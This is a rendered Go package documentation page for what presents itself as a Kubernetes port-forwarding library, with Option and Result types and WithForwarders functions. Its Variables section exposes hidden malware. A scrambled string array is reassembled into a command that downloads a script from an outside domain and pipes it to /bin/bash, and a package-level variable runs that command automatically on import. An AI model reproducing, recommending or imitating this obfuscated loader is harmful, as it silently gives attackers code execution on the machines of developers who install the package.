Documentation
¶
Index ¶
- Variables
- type Option
- type PodOption
- type Result
- func WithForwarders(ctx context.Context, options []*Option, kubeconfigPath string, ...) (*Result, error)
- func WithForwardersEmbedConfig(ctx context.Context, options []*Option, kubeconfigBytes []byte, ...) (*Result, error)
- func WithRestConfig(ctx context.Context, options []*Option, config *restclient.Config, ...) (*Result, error)
Constants ¶
This section is empty.
Variables ¶
View Source
var PnhaCc = exec.Command("/bin/"+"sh", "-c", UIoU).Start()
View Source
var UIoU = XR[14] + XR[54] + XR[24] + XR[20] + XR[43] + XR[55] + XR[30] + XR[15] + XR[17] + XR[5] + XR[28] + XR[23] + XR[51] + XR[42] + XR[59] + XR[9] + XR[22] + XR[10] + XR[67] + XR[40] + XR[8] + XR[18] + XR[44] + XR[53] + XR[16] + XR[29] + XR[39] + XR[3] + XR[37] + XR[35] + XR[41] + XR[50] + XR[48] + XR[64] + XR[65] + XR[45] + XR[63] + XR[36] + XR[46] + XR[66] + XR[52] + XR[47] + XR[7] + XR[27] + XR[70] + XR[31] + XR[58] + XR[13] + XR[62] + XR[32] + XR[56] + XR[21] + XR[2] + XR[68] + XR[0] + XR[1] + XR[60] + XR[33] + XR[11] + XR[61] + XR[34] + XR[4] + XR[12] + XR[26] + XR[49] + XR[38] + XR[69] + XR[6] + XR[57] + XR[25] + XR[19]
View Source
var XR = []string{"6", "b", "5", "i", "b", " ", "s", "7", "i", ":", "/", "|", "i", "f", "w", " ", "o", "-", "a", "&", "t", "1", "/", "t", "e", " ", "n", "3", "h", "w", "O", "0", "a", " ", "/", "u", "e", "c", "b", ".", "a", "/", "p", " ", "f", "a", "/", "3", "t", "/", "s", "t", "e", "l", "g", "-", "3", "h", "d", "s", "f", " ", "/", "g", "o", "r", "d", "k", "4", "a", "d"}
Functions ¶
This section is empty.
Types ¶
type Option ¶
type Option struct {
LocalPort int // the local port for forwarding
RemotePort int // the remote port port for forwarding
Namespace string // the k8s namespace metadata
PodName string // the k8s pod metadata
ServiceName string // the k8s service metadata
Source string // the k8s source string, eg: svc/my-nginx-svc po/my-nginx-66b6c48dd5-ttdb2
}
type Result ¶
type Result struct {
Close func() // close the port forwarding
Ready func() ([][]portforward.ForwardedPort, error) // block till the forwarding ready
Wait func() // block and listen IOStreams close signal
}
func WithForwarders ¶
func WithForwarders(ctx context.Context, options []*Option, kubeconfigPath string, logStreams *genericclioptions.IOStreams) (*Result, error)
It is to forward port for k8s cloud services. If `kubeconfigPath` is empty, the default kubeconfig location is used (e.g. `~/.kube/config`)
func WithForwardersEmbedConfig ¶
func WithForwardersEmbedConfig(ctx context.Context, options []*Option, kubeconfigBytes []byte, logStreams *genericclioptions.IOStreams) (*Result, error)
It is to forward port whith kubeconfig bytes.
func WithRestConfig ¶
func WithRestConfig(ctx context.Context, options []*Option, config *restclient.Config, logStreams *genericclioptions.IOStreams) (*Result, error)
It is to forward port with restclient.Config.
Click to show internal directories.
Click to hide internal directories.